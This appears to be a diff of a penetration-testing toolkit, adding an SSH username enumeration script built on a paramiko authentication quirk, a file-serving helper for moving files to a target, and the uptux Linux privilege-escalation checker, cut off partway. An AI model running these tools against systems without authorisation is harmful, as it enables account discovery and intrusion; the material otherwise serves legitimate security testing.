print "$string\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
?>
|
BIN
pspy64
Executable file
BIN
pspy64
Executable file
Binary file not shown.
87
ssh-check-username.py
Executable file
87
ssh-check-username.py
Executable file
@ -0,0 +1,87 @@
|
|||||||
|
#!/usr/bin/python3
|
||||||
|
import multiprocessing
|
||||||
|
import threading
|
||||||
|
import time
|
||||||
|
import os
|
||||||
|
import argparse
|
||||||
|
import logging
|
||||||
|
import paramiko
|
||||||
|
import socket
|
||||||
|
import sys
|
||||||
|
import pdb
|
||||||
|
|
||||||
|
arg_parser = argparse.ArgumentParser()
|
||||||
|
arg_parser.add_argument('-t',dest='hostname', type=str, help='Single target')
|
||||||
|
arg_parser.add_argument('-p',dest='port', type=int, default=22, help='port to connect on: Default port is 22')
|
||||||
|
arg_parser.add_argument('-u',dest='username', type=str, help='username you want to enumerate')
|
||||||
|
arg_parser.add_argument('-w',dest='wordlist', help='enumerate multiple users')
|
||||||
|
args = arg_parser.parse_args()
|
||||||
|
port = args.port
|
||||||
|
target = args.hostname
|
||||||
|
|
||||||
|
class InvalidUsername(Exception):
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
def add_boolean(*args, **kwargs):
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
old_service_accept = paramiko.auth_handler.AuthHandler._handler_table[
|
||||||
|
paramiko.common.MSG_SERVICE_ACCEPT]
|
||||||
|
|
||||||
|
def service_accept(*args, **kwargs):
|
||||||
|
paramiko.message.Message.add_boolean = add_boolean
|
||||||
|
return old_service_accept(*args, **kwargs)
|
||||||
|
|
||||||
|
|
||||||
|
def userauth_failure(*args, **kwargs):
|
||||||
|
raise InvalidUsername()
|
||||||
|
|
||||||
|
|
||||||
|
def _paramiko_tunnel(username, *args, **kwargs):
|
||||||
|
sock = socket.socket()
|
||||||
|
sock.connect((target, port))
|
||||||
|
us = username.strip()
|
||||||
|
try:
|
||||||
|
transport = paramiko.transport.Transport(sock)
|
||||||
|
except socket.error:
|
||||||
|
print ('[-] Failed to connect')
|
||||||
|
return
|
||||||
|
try:
|
||||||
|
transport.start_client()
|
||||||
|
except paramiko.ssh_exception.SSHException:
|
||||||
|
print ('[-] Failed to negotiate SSH transport')
|
||||||
|
return
|
||||||
|
try:
|
||||||
|
transport.auth_publickey(us, paramiko.RSAKey.generate(2048))
|
||||||
|
except InvalidUsername:
|
||||||
|
print ('[*] {} - Invalid username'.format(us))
|
||||||
|
except paramiko.ssh_exception.AuthenticationException:
|
||||||
|
print ('[+] {} - Valid username'.format(us))
|
||||||
|
return
|
||||||
|
|
||||||
|
|
||||||
|
paramiko.auth_handler.AuthHandler._handler_table.update({
|
||||||
|
paramiko.common.MSG_SERVICE_ACCEPT: service_accept,
|
||||||
|
paramiko.common.MSG_USERAUTH_FAILURE: userauth_failure
|
||||||
|
})
|
||||||
|
|
||||||
|
logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())
|
||||||
|
|
||||||
|
if args.username is not None:
|
||||||
|
username = args.username
|
||||||
|
_paramiko_tunnel(target, port, username)
|
||||||
|
|
||||||
|
if args.wordlist is not None:
|
||||||
|
usernames = []
|
||||||
|
mp = []
|
||||||
|
pool = multiprocessing.Pool(5)
|
||||||
|
with open(args.wordlist) as f:
|
||||||
|
for u in f:
|
||||||
|
usernames.append(u)
|
||||||
|
pool.map(_paramiko_tunnel, usernames)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
1086
unix-privesc-check.sh
Executable file
1086
unix-privesc-check.sh
Executable file
File diff suppressed because it is too large
Load Diff
42
upload_file.py
Executable file
42
upload_file.py
Executable file
@ -0,0 +1,42 @@
|
|||||||
|
import socket
|
||||||
|
import sys
|
||||||
|
import netifaces as ni
|
||||||
|
|
||||||
|
if len(sys.argv) < 2:
|
||||||
|
print("Usage: %s <file>" % sys.argv[0])
|
||||||
|
exit(1)
|
||||||
|
|
||||||
|
# Create a TCP/IP socket
|
||||||
|
FILENAME = sys.argv[1]
|
||||||
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
|
||||||
|
interface = "tun0"
|
||||||
|
if not interface in ni.interfaces():
|
||||||
|
interface = ni.interfaces()[0]
|
||||||
|
|
||||||
|
|
||||||
|
addresses = ni.ifaddresses(interface)
|
||||||
|
address = addresses[next(iter(addresses))][0]["addr"]
|
||||||
|
|
||||||
|
# Bind the socket to the port
|
||||||
|
server_address = (address, 8888)
|
||||||
|
print('starting up on %s port %s' % server_address)
|
||||||
|
sock.bind(server_address)
|
||||||
|
|
||||||
|
sock.listen(1)
|
||||||
|
|
||||||
|
while True:
|
||||||
|
# Wait for a connection
|
||||||
|
print('waiting for a connection')
|
||||||
|
connection, client_address = sock.accept()
|
||||||
|
|
||||||
|
try:
|
||||||
|
print('connection from', client_address)
|
||||||
|
|
||||||
|
with open(FILENAME, "rb") as f:
|
||||||
|
content = f.read()
|
||||||
|
connection.sendall(content)
|
||||||
|
|
||||||
|
finally:
|
||||||
|
# Clean up the connection
|
||||||
|
connection.close()
|
804
uptux.py
Normal file
804
uptux.py
Normal file
@ -0,0 +1,804 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
uptux by initstring (gitlab.com/initstring)
|
||||||
|
|
||||||
|
This tool checks for configuration issues on Linux systems that may lead to
|
||||||
|
privilege escalation.
|
||||||
|
|
||||||
|
All functionality is contained in a single file, because installing packages
|
||||||
|
in restricted shells is a pain.
|
||||||
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
import socket
|
||||||
|
import getpass
|
||||||
|
import argparse
|
||||||
|
import datetime
|
||||||
|
import subprocess
|
||||||
|
import inspect
|
||||||
|
import glob
|
||||||
|
import re
|
||||||
|
|
||||||
|
|
||||||
|
BANNER = r'''
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
____ ___ ___________
|
||||||
|
| | \_____\__ ___/_ _____ ___
|
||||||
|
| | /\____ \| | | | \ \/ /
|
||||||
|
| | / | |_> > | | | /> <
|
||||||
|
|______/ | __/|____| |____//__/\_ \
|
||||||
|
|__| \/
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
PrivEsc for modern Linux systems
|
||||||
|
github.com/initstring/uptux
|
||||||
|
|
||||||
|
|
||||||
|
'''
|
||||||
|
|
||||||
|
|
||||||
|
########################## Global Declarations Follow #########################
|
||||||
|
|
||||||
|
LOGFILE = 'log-uptux-{:%Y-%m-%d-%H.%M.%S}'.format(datetime.datetime.now())
|
||||||
|
PARSER = argparse.ArgumentParser(description=
|
||||||
|
"PrivEsc for modern Linux systems,"
|
||||||
|
" by initstring (gitlab.com/initstring)")
|
||||||
|
PARSER.add_argument('-n', '--nologging', action='store_true',
|
||||||
|
help='do not write output to a logfile')
|
||||||
|
PARSER.add_argument('-d', '--debug', action='store_true',
|
||||||
|
help='print some debugging info to the console')
|
||||||
|
ARGS = PARSER.parse_args()
|
||||||
|
|
||||||
|
## Known directories for storing systemd files.
|
||||||
|
SYSTEMD_DIRS = ['/etc/systemd/**/',
|
||||||
|
'/lib/systemd/**/',
|
||||||
|
'/run/systemd/**/',
|
||||||
|
'/usr/lib/systemd/**/']
|
||||||
|
|
||||||
|
## Known directories for storing D-Bus configuration files
|
||||||
|
DBUS_DIRS = ['/etc/dbus-1/system.d/',
|
||||||
|
'/etc/dbus-1/session.d']
|
||||||
|
|
||||||
|
# Target files that we know we cannot exploit
|
||||||
|
NOT_VULN = ['/dev/null',
|
||||||
|
'.']
|
||||||
|
|
||||||
|
# Used to enable/disable the relative path checks of systemd
|
||||||
|
SYSTEMD_PATH_WRITABLE = False
|
||||||
|
########################## End of Global Declarations #########################
|
||||||
|
|
||||||
|
|
||||||
|
############################ Setup Functions Follow ###########################
|
||||||
|
|
||||||
|
# This is the place for functions that help set up the application.
|
||||||
|
|
||||||
|
def tee(text, **kwargs):
|
||||||
|
"""Used to log and print concurrently"""
|
||||||
|
|
||||||
|
# Defining variables to print color-coded messages to the console.
|
||||||
|
colors = {'green': '\033[92m',
|
||||||
|
'blue': '\033[94m',
|
||||||
|
'orange': '\033[93m',
|
||||||
|
'red': '\033[91m',}
|
||||||
|
end_color = '\033[0m'
|
||||||
|
boxes = {'ok': colors['blue'] + '[*] ' + end_color,
|
||||||
|
'note': colors['green'] + '[+] ' + end_color,
|
||||||
|
'warn': colors['orange'] + '[!] ' + end_color,
|
||||||
|
'vuln': colors['red'] + '[VULNERABLE] ' + end_color,
|
||||||
|
'sus': colors['orange'] + '[INVESTIGATE] ' + end_color}
|
||||||
|
|
||||||
|
# If this function is called with an optional 'box=xxx' parameter, these
|
||||||
|
# will be prepended to the message.
|
||||||
|
box = kwargs.get('box', '')
|
||||||
|
if box:
|
||||||
|
box = boxes[box]
|
||||||
|
|
||||||
|
# First, just print the item to the console.
|
||||||
|
print(box + text)
|
||||||
|
|
||||||
|
# Then, write it to the log if logging is not disabled
|
||||||
|
if not ARGS.nologging:
|
||||||
|
try:
|
||||||
|
with open(LOGFILE, 'a') as logfile:
|
||||||
|
logfile.write(box + text + '\n')
|
||||||
|
except PermissionError:
|
||||||
|
ARGS.nologging = True
|
||||||
|
print(boxes['warn'] + "Could not create a log file due to"
|
||||||
|
" insufficient permissions. Continuing with checks...")
|
||||||
|
|
||||||
|
|
||||||
|
def check_handler(check, check_name, check_desc):
|
||||||
|
"""Check handler
|
||||||
|
|
||||||
|
This function takes a dictionary of check_desc,check_name and will
|
||||||
|
iterate through them all.
|
||||||
|
"""
|
||||||
|
tee("\n\n++++++++++ {}: {} ++++++++++\n\n"
|
||||||
|
.format(check_name, check_desc))
|
||||||
|
tee("Starting module at {:%Y-%m-%d-%H.%M.%S}"
|
||||||
|
.format(datetime.datetime.now()), box='ok')
|
||||||
|
tee("\n")
|
||||||
|
check()
|
||||||
|
tee("\n")
|
||||||
|
tee("Finished module at {:%Y-%m-%d-%H.%M.%S}\n"
|
||||||
|
.format(datetime.datetime.now()), box='ok')
|
||||||
|
|
||||||
|
|
||||||
|
def get_function_order(function):
|
||||||
|
"""Helper function for build_checks_list"""
|
||||||
|
# Grabs the line number of a function it is passed.
|
||||||
|
order = function.__code__.co_firstlineno
|
||||||
|
return order
|
||||||
|
|
||||||
|
|
||||||
|
def build_checks_list():
|
||||||
|
"""Dynamically build list of checks to execute
|
||||||
|
|
||||||
|
This function will grab, in order, all functions that start with
|
||||||
|
'uptux_check_' and populate a list. This is then used to run the checks.
|
||||||
|
"""
|
||||||
|
# Start to build a list of functions we will execute.
|
||||||
|
uptux_checks = []
|
||||||
|
|
||||||
|
# Get the name of this python script and all the functions inside it.
|
||||||
|
current_module = sys.modules[__name__]
|
||||||
|
all_functions = inspect.getmembers(current_module, inspect.isfunction)
|
||||||
|
|
||||||
|
# If the function name matches 'uptux_check_' we will include it.
|
||||||
|
for function in all_functions:
|
||||||
|
function_name = function[0]
|
||||||
|
function_object = function[1]
|
||||||
|
if 'uptux_check_' in function_name:
|
||||||
|
uptux_checks.append(function_object)
|
||||||
|
|
||||||
|
# Use the helper function to sort by line number in script.
|
||||||
|
uptux_checks.sort(key=get_function_order)
|
||||||
|
|
||||||
|
# Return the sorted list of functions.
|
||||||
|
return uptux_checks
|
||||||
|
|
||||||
|
############################# End Setup Functions #############################
|
||||||
|
|
||||||
|
|
||||||
|
########################### Helper Functions Follow ###########################
|
||||||
|
|
||||||
|
# This is the place to put functions that are used by multiple "Individual
|
||||||
|
# Checks" (those starting with uptux_check_).
|
||||||
|
|
||||||
|
def shell_exec(command):
|
||||||
|
"""Executes Linux shell commands"""
|
||||||
|
# Split the command into a list as needed by subprocess
|
||||||
|
command = command.split()
|
||||||
|
|
||||||
|
# Get both stdout and stderror from command. Grab the Python exception
|
||||||
|
# if there is one.
|
||||||
|
try:
|
||||||
|
out_bytes = subprocess.check_output(command,
|
||||||
|
stderr=subprocess.STDOUT)
|
||||||
|
except subprocess.CalledProcessError as error:
|
||||||
|
out_bytes = error.output
|
||||||
|
except OSError as error:
|
||||||
|
print('Could not run the following OS command. Sorry!\n'
|
||||||
|
' Command: {}'.format(command))
|
||||||
|
print(error)
|
||||||
|
sys.exit()
|
||||||
|
|
||||||
|
# Return the lot as a text string for processing.
|
||||||
|
out_text = out_bytes.decode('utf-8')
|
||||||
|
out_text = out_text.rstrip()
|
||||||
|
return out_text
|
||||||
|
|
||||||
|
|
||||||
|
def find_system_files(**kwargs):
|
||||||
|
"""Locates system files
|
||||||
|
|
||||||
|
Expected kwargs: known_dirs, search_mask
|
||||||
|
"""
|
||||||
|
|
||||||
|
# Define known Linux folders for storing service unit definitions
|
||||||
|
return_list = set()
|
||||||
|
|
||||||
|
# Recursively gather all service unit from the known directories
|
||||||
|
# and add them to a deduplicated set.
|
||||||
|
for directory in kwargs['known_dirs']:
|
||||||
|
found_files = glob.glob(directory + kwargs['search_mask'])
|
||||||
|
for item in found_files:
|
||||||
|
# We don't care about files that point to /dev/null.
|
||||||
|
if '/dev/null' not in os.path.realpath(item):
|
||||||
|
return_list.add(item)
|
||||||
|
|
||||||
|
if ARGS.debug:
|
||||||
|
print("DEBUG, FOUND FILES")
|
||||||
|
for item in return_list:
|
||||||
|
print(item)
|
||||||
|
|
||||||
|
return return_list
|
||||||
|
|
||||||
|
|
||||||
|
def regex_vuln_search(**kwargs):
|
||||||
|
"""Helper function for searching text files
|
||||||
|
|
||||||
|
This function will take a list of file paths and search through
|
||||||
|
them with a given regex. Relevant messages will be printed to the console
|
||||||
|
and log.
|
||||||
|
|
||||||
|
Expected kwargs: file_paths, regex, message_text, message_box
|
||||||
|
"""
|
||||||
|
# Start a list of dictionaries for files with interesting content.
|
||||||
|
return_list = []
|
||||||
|
|
||||||
|
# Open up each individual file and read the text into memory.
|
||||||
|
for file_name in kwargs['file_paths']:
|
||||||
|
return_dict = {}
|
||||||
|
|
||||||
|
# Continue if we can't access the file.
|
||||||
|
if not os.access(file_name, os.R_OK):
|
||||||
|
continue
|
||||||
|
|
||||||
|
file_object = open(file_name, 'r')
|
||||||
|
file_text = file_object.read()
|
||||||
|
# Use the regex we pass in to the function to look for vulns.
|
||||||
|
found = re.findall(kwargs['regex'], file_text)
|
||||||
|
|
||||||
|
# Save the file name and the interesting lines of text
|
||||||
|
if found:
|
||||||
|
return_dict['file_name'] = file_name
|
||||||
|
return_dict['text'] = found
|
||||||
|
return_list.append(return_dict)
|
||||||
|
|
||||||
|
# If the function is supplied with message info, print to console and log.
|
||||||
|
# This function may be used instead as input to another function, so we
|
||||||
|
# don't always want to print here.
|
||||||
|
if return_list and kwargs['message_text'] and kwargs['message_box']:
|
||||||
|
# Print to console and log the interesting file names and content.
|
||||||
|
tee("")
|
||||||
|
tee(kwargs['message_text'], box=kwargs['message_box'])
|
||||||
|
for item in return_list:
|
||||||
|
tee(" {}:".format(item['file_name']))
|
||||||
|
for text in item['text']:
|
||||||
|
tee(" {}".format(text))
|
||||||
|
tee("")
|
||||||
|
|
||||||
|
if ARGS.debug:
|
||||||
|
print("DEBUG, SEARCH RESULTS")
|
||||||
|
for item in return_list:
|
||||||
|
print(item['file_name'])
|
||||||
|
for text in item['text']:
|
||||||
|
print(" {}".format(text))
|
||||||
|
|
||||||
|
return return_list
|
||||||
|
|
||||||
|
|
||||||
|
def check_file_permissions(**kwargs):
|
||||||
|
"""Helper function to check permissions and symlink status
|
||||||
|
|
||||||
|
This function will take a list of file paths, resolve them to their
|
||||||
|
actual location (for symlinks), and determine if they are writeable
|
||||||
|
by the current user. Will also alert on broken symlinks and whether
|
||||||
|
the target directory for the broken link is writeable.
|
||||||
|
|
||||||
|
Expected kwargs: file_paths, files_message_text, dirs_message_text,
|
||||||
|
message_box
|
||||||
|
"""
|
||||||
|
# Start deuplicated sets for interesting files and directories.
|
||||||
|
writeable_files = set()
|
||||||
|
writeable_dirs = set()
|
||||||
|
|
||||||
|
for file_name in kwargs['file_paths']:
|
||||||
|
|
||||||
|
# Ignore known not-vulnerable targets
|
||||||
|
if file_name in NOT_VULN:
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Is it a symlink? If so, get the real path and check permissions.
|
||||||
|
# If it is broken, check permissions on the parent directory.
|
||||||
|
if os.path.islink(file_name):
|
||||||
|
target = os.readlink(file_name)
|
||||||
|
|
||||||
|
# Some symlinks use relative path names. Find these and prepend
|
||||||
|
# the directory name so we can investigate properly.
|
||||||
|
if target[0] == '.':
|
||||||
|
parent_dir = os.path.dirname(file_name)
|
||||||
|
target = parent_dir + '/' + target
|
||||||
|
|
||||||
|
if os.path.exists(target) and os.access(target, os.W_OK):
|
||||||
|
writeable_files.add('{} -- symlink --> {}'
|
||||||
|
.format(file_name, target))
|
||||||
|
else:
|
||||||
|
parent_dir = os.path.dirname(target)
|
||||||
|
if os.access(parent_dir, os.W_OK):
|
||||||
|
writeable_dirs.add((file_name, target))
|
||||||
|
|
||||||
|
# OK, not a symlink. Just check permissions.
|
||||||
|
else:
|
||||||
|
if os.access(file_name, os.W_OK):
|
||||||
|
writeable_files.add(file_name)
|
||||||
|
|
||||||
|
if writeable_files:
|
||||||
|
# Print to console and log the interesting findings.
|
||||||
|
tee("")
|
||||||
|
tee(kwargs['files_message_text'], box=kwargs['message_box'])
|
||||||
|
for item in writeable_files:
|
||||||
|
tee(" {}".format(item))
|
||||||
|
|
||||||
|
if writeable_dirs:
|
||||||
|
# Print to console and log the interesting findings.
|
||||||
|
tee("")
|
||||||
|
tee(kwargs['dirs_message_text'], box=kwargs['message_box'])
|
||||||
|
for item in writeable_dirs:
|
||||||
|
tee(" {} --> {}".format(item[0], item[1]))
|
||||||
|
|
||||||
|
if not writeable_files and not writeable_dirs:
|
||||||
|
tee("")
|
||||||
|
tee("No writeable targets. This is expected...",
|
||||||
|
box='note')
|
||||||
|
|
||||||
|
|
||||||
|
def check_command_permission(**kwargs):
|
||||||
|
"""Checks permissions on commands returned from inside files
|
||||||
|
|
||||||
|
Loops through a provided list of dictionaries with a file name and
|
||||||
|
commands found within. Checks to see if they are writeable or missing and
|
||||||
|
living in a writable directory.
|
||||||
|
|
||||||
|
Expected kwargs: file_paths, regex, message_text, message_box
|
||||||
|
"""
|
||||||
|
# Start an empty list for the return of the writable files/commands
|
||||||
|
return_list = []
|
||||||
|
|
||||||
|
for item in kwargs['commands']:
|
||||||
|
return_dict = {}
|
||||||
|
return_dict['text'] = []
|
||||||
|
|
||||||
|
# The commands we have are long and may include parameters or even
|
||||||
|
# multiple commands with pipes and ;. We try to split this all out
|
||||||
|
# below.
|
||||||
|
for command in item['text']:
|
||||||
|
command = re.sub(r'[\'"]', '', command)
|
||||||
|
command = re.split(r'[ ;\|]', command)
|
||||||
|
|
||||||
|
# We now have a list of some commands and some parameters and
|
||||||
|
# other garbage. Checking for os access will clean this up for us.
|
||||||
|
# The lines below determine if we have write access to anything.
|
||||||
|
# It also checks for the case where the target does not exist but
|
||||||
|
# the parent directory is writeable.
|
||||||
|
for split_command in command:
|
||||||
|
vuln = False
|
||||||
|
|
||||||
|
# Ignore known not-vulnerable targets
|
||||||
|
if split_command in NOT_VULN:
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Some systemd items will specicify a command with a path
|
||||||
|
# relative to the calling item, particularly timer files.
|
||||||
|
relative_path = os.path.dirname(item['file_name'])
|
||||||
|
|
||||||
|
# First, check the obvious - is this a writable command?
|
||||||
|
if os.access(split_command, os.W_OK):
|
||||||
|
vuln = True
|
||||||
|
|
||||||
|
# What about if we assume it is a relative path?
|
||||||
|
elif os.access(relative_path + '/' + split_command, os.W_OK):
|
||||||
|
vuln = True
|
||||||
|
|
||||||
|
# Or maybe it doesn't exist at all, but is in a writeable
|
||||||
|
# director?
|
||||||
|
elif (os.access(os.path.dirname(split_command), os.W_OK)
|
||||||
|
and not os.path.exists(split_command)):
|
||||||
|
vuln = True
|
||||||
|
|
||||||
|
# If so, pack it all up in a new dictionary which is used
|
||||||
|
# below for output.
|
||||||
|
if vuln:
|
||||||
|
return_dict['file_name'] = item['file_name']
|
||||||
|
return_dict['text'].append(split_command)
|
||||||
|
if return_dict not in return_list:
|
||||||
|
return_list.append(return_dict)
|
||||||
|
|
||||||
|
if return_list and kwargs['message_text'] and kwargs['message_box']:
|
||||||
|
# Print to console and log the interesting file names and content.
|
||||||
|
tee("")
|
||||||
|
tee(kwargs['message_text'], box=kwargs['message_box'])
|
||||||
|
for item in return_list:
|
||||||
|
tee(" {}:".format(item['file_name']))
|
||||||
|
for text in item['text']:
|
||||||
|
tee(" {}".format(text))
|
||||||
|
tee("")
|
||||||
|
|
||||||
|
|
||||||
|
########################## Helper Functions Complete ##########################
|
||||||
|
|
||||||
|
|
||||||
|
########################### Individual Checks Follow ##########################
|
||||||
|
|
||||||
|
# Note: naming a new function 'uptux_check_xxxx' will automatically
|
||||||
|
# include it in execution. These will trigger in the same order listed
|
||||||
|
# in the script. The docstring will be pulled and used in the console and
|
||||||
|
# log file, so keep it short (one line).
|
||||||
|
|
||||||
|
def uptux_check_sysinfo():
|
||||||
|
"""Gather basic OS information"""
|
||||||
|
# Gather a few basics for the report.
|
||||||
|
uname = os.uname()
|
||||||
|
tee("Host: {}".format(uname[1]))
|
||||||
|
tee("OS: {}, {}".format(uname[0], uname[3]))
|
||||||
|
tee("Kernel: {}".format(uname[2]))
|
||||||
|
tee("Current user: {} (UID {} GID {})".format(getpass.getuser(),
|
||||||
|
os.getuid(),
|
||||||
|
os.getgid()))
|
||||||
|
tee("Member of following groups:\n {}".format(shell_exec('groups')))
|
||||||
|
|
||||||
|
|
||||||
|
def uptux_check_systemd_paths():
|
||||||
|
"""Check if systemd PATH is writeable"""
|
||||||
|
# Define the bash command.
|
||||||
|
command = 'systemctl show-environment'
|
||||||
|
output = shell_exec(command)
|
||||||
|
|
||||||
|
# Define the regex to find in the output.
|
||||||
|
regex = re.compile(r'PATH=(.*$)')
|
||||||
|
|
||||||
|
# Take the output from bash and split it into a list of paths.
|
||||||
|
output = re.findall(regex, output)
|
||||||
|
|
||||||
|
# This command may fail in some environments, only proceed if we have
|
||||||
|
# a good match.
|
||||||
|
if output:
|
||||||
|
output = output[0].split(':')
|
||||||
|
|
||||||
|
# Check each path - if it is writable, add it to a list.
|
||||||
|
writeable_paths = []
|
||||||
|
for item in output:
|
||||||
|
if os.access(item, os.W_OK):
|
||||||
|
writeable_paths.append(item)
|
||||||
|
else:
|
||||||
|
writeable_paths = False
|
||||||
|
|
||||||
|
# Write the status to the console and log.
|
||||||
|
if writeable_paths:
|
||||||
|
tee("The following systemd paths are writeable. THIS IS ODD!\n"
|
||||||
|
"See if you can combine this with a relative path Exec statement"
|
||||||
|
" for privesc:",
|
||||||
|
box='vuln')
|
||||||
|
for path in writeable_paths:
|
||||||
|
tee(" {}".format(path))
|
||||||
|
global SYSTEMD_PATH_WRITABLE
|
||||||
|
SYSTEMD_PATH_WRITABLE = True
|
||||||
|
else:
|
||||||
|
tee("No systemd paths are writeable. This is expected...",
|
||||||
|
box='note')
|
||||||
|
|
||||||
|
|
||||||
|
def uptux_check_services():
|
||||||
|
"""Inspect systemd service unit files"""
|
||||||
|
# Define known Linux folders for storing service unit definitions
|
||||||
|
units = set()
|
||||||
|
mask = '*.service'
|
||||||
|
units = find_system_files(known_dirs=SYSTEMD_DIRS,
|
||||||
|
search_mask=mask)
|
||||||
|
|
||||||
|
tee("Found {} service units to analyse...\n".format(len(units)),
|
||||||
|
box='ok')
|
||||||
|
|
||||||
|
# Test for write access to any service files.
|
||||||
|
# Will resolve symlinks to their target and also check for broken links.
|
||||||
|
text = 'Found writeable service unit files:'
|
||||||
|
text2 = 'Found writeable directories referred to by broken symlinks'
|
||||||
|
box = 'vuln'
|
||||||
|
tee("")
|
||||||
|
tee("Checking permissions on service unit files...",
|
||||||
|
box='ok')
|
||||||
|
check_file_permissions(file_paths=units,
|
||||||
|
files_message_text=text,
|
||||||
|
dirs_message_text=text2,
|
||||||
|
message_box=box)
|
||||||
|
|
||||||
|
# Only check relative paths if we can abuse them
|
||||||
|
if SYSTEMD_PATH_WRITABLE:
|
||||||
|
# Look for relative calls to binaries.
|
||||||
|
# Example: ExecStart=somfolder/somebinary
|
||||||
|
regex = re.compile(r'^Exec(?:Start|Stop|Reload)='
|
||||||
|
r'(?:@[^/]' # special exec
|
||||||
|
r'|-[^/]' # special exec
|
||||||
|
r'|\+[^/]' # special exec
|
||||||
|
r'|![^/]' # special exec
|
||||||
|
r'|!![^/]' # special exec
|
||||||
|
r'|)' # or maybe no special exec
|
||||||
|
r'[^/@\+!-]' # not abs path or special exec
|
||||||
|
r'.*', # rest of line
|
||||||
|
re.MULTILINE)
|
||||||
|
text = ('Possible relative path in an Exec statement.\n'
|
||||||
|
'Unless you have writeable systemd paths, you won\'t be able to'
|
||||||
|
' exploit this:')
|
||||||
|
box = 'sus'
|
||||||
|
tee("")
|
||||||
|
tee("Checking for relative paths in service unit files [check 1]...",
|
||||||
|
box='ok')
|
||||||
|
regex_vuln_search(file_paths=units,
|
||||||
|
regex=regex,
|
||||||
|
message_text=text,
|
||||||
|
message_box=box)
|
||||||
|
|
||||||
|
# Look for relative calls to binaries but invoked by an interpreter.
|
||||||
|
# Example: ExecStart=/bin/sh -c 'somefolder/somebinary'
|
||||||
|
regex = re.compile(r'^Exec(?:Start|Stop|Reload)='
|
||||||
|
r'(?:@[^/]' # special exec
|
||||||
|
r'|-[^/]' # special exec
|
||||||
|
r'|\+[^/]' # special exec
|
||||||
|
r'|![^/]' # special exec
|
||||||
|
r'|!![^/]' # special exec
|
||||||
|
r'|)' # or maybe no special exec
|
||||||
|
r'.*?(?:/bin/sh|/bin/bash) ' # interpreter
|
||||||
|
r'(?:[\'"]|)' # might have quotes
|
||||||
|
r'(?:-[a-z]+|)'# might have params
|
||||||
|
r'(?:[ ]+|)' # might have more spaces now
|
||||||
|
r'[^/-]' # not abs path or param
|
||||||
|
r'.*', # rest of line
|
||||||
|
re.MULTILINE)
|
||||||
|
text = ('Possible relative path invoked with an interpreter in an'
|
||||||
|
' Exec statement.\n'
|
||||||
|
'Unless you have writable systemd paths, you won\'t be able to'
|
||||||
|
' exploit this:')
|
||||||
|
box = 'sus'
|
||||||
|
tee("")
|
||||||
|
tee("Checking for relative paths in service unit files [check 2]...",
|
||||||
|
box='ok')
|
||||||
|
regex_vuln_search(file_paths=units,
|
||||||
|
regex=regex,
|
||||||
|
message_text=text,
|
||||||
|
message_box=box)
|
||||||
|
|
||||||
|
# Check for write access to any commands invoked by Exec statements.
|
||||||
|
# Thhs regex below is used to extract command lines.
|
||||||
|
regex = re.compile(r'^Exec.*?=[!@+-]*(.*?$)',
|
||||||
|
re.MULTILINE)
|
||||||
|
# We don't pass message info to this function as we need to perform more
|
||||||
|
# processing on the output to determine what is writeable.
|
||||||
|
tee("")
|
||||||
|
tee("Checking for write access to commands referenced in service files...",
|
||||||
|
box='ok')
|
||||||
|
service_commands = regex_vuln_search(file_paths=units,
|
||||||
|
regex=regex,
|
||||||
|
message_text='',
|
||||||
|
message_box='')
|
||||||
|
|
||||||
|
# Another helper function to take the extracted commands and check for
|
||||||
|
# write permissions.
|
||||||
|
text = 'You have write access to commands referred to in service files:'
|
||||||
|
box = 'vuln'
|
||||||
|
check_command_permission(commands=service_commands,
|
||||||
|
message_text=text,
|
||||||
|
message_box=box)
|
||||||
|
|
||||||
|
|
||||||
|
def uptux_check_timer_units():
|
||||||
|
"""Inspect systemd timer unit files"""
|
||||||
|
units = set()
|
||||||
|
mask = '*.timer'
|
||||||
|
units = find_system_files(known_dirs=SYSTEMD_DIRS,
|
||||||
|
search_mask=mask)
|
||||||
|
|
||||||
|
tee("Found {} timer units to analyse...\n".format(len(units)),
|
||||||
|
box='ok')
|
||||||
|
|
||||||
|
# Test for write access to any timer files.
|
||||||
|
# Will resolve symlinks to their target and also check for broken links.
|
||||||
|
text = 'Found writeable timer unit files:'
|
||||||
|
text2 = 'Found writeable directories referred to by broken symlinks'
|
||||||
|
box = 'vuln'
|
||||||
|
tee("")
|
||||||
|
tee("Checking permissions on timer unit files...",
|
||||||
|
box='ok')
|
||||||
|
check_file_permissions(file_paths=units,
|
||||||
|
files_message_text=text,
|
||||||
|
dirs_message_text=text2,
|
||||||
|
message_box=box)
|
||||||
|
|
||||||
|
# Timers may reference systemd services, which are already being checked.
|
||||||
|
# But they may reference a specific script (often a '.target' file of the
|
||||||
|
# same name. Check to see if the action called is writable.
|
||||||
|
# The regex below is used to extract these targets.
|
||||||
|
regex = re.compile(r'^Unit=*(.*?$)',
|
||||||
|
re.MULTILINE)
|
||||||
|
|
||||||
|
# We don't pass message info to this function as we need to perform more
|
||||||
|
# processing on the output to determine what is writeable.
|
||||||
|
tee("")
|
||||||
|
tee("Checking for write access to commands referenced in timer files...",
|
||||||
|
box='ok')
|
||||||
|
timer_commands = regex_vuln_search(file_paths=units,
|
||||||
|
regex=regex,
|
||||||
|
message_text='',
|
||||||
|
message_box='')
|
||||||
|
|
||||||
|
# Another helper function to take the extracted commands and check for
|
||||||
|
# write permissions.
|
||||||
|
text = 'You have write access to commands referred to in timer files:'
|
||||||
|
box = 'vuln'
|
||||||
|
check_command_permission(commands=timer_commands,
|
||||||
|
message_text=text,
|
||||||
|
message_box=box)
|
||||||
|
|
||||||
|
|
||||||
|
def uptux_check_socket_units():
|
||||||
|
"""Inspect systemd socket unit files"""
|
||||||
|
units = set()
|
||||||
|
mask = '*.socket'
|
||||||
|
units = find_system_files(known_dirs=SYSTEMD_DIRS,
|
||||||
|
search_mask=mask)
|
||||||
|
|
||||||
|
tee("Found {} socket units to analyse...\n".format(len(units)),
|
||||||
|
box='ok')
|
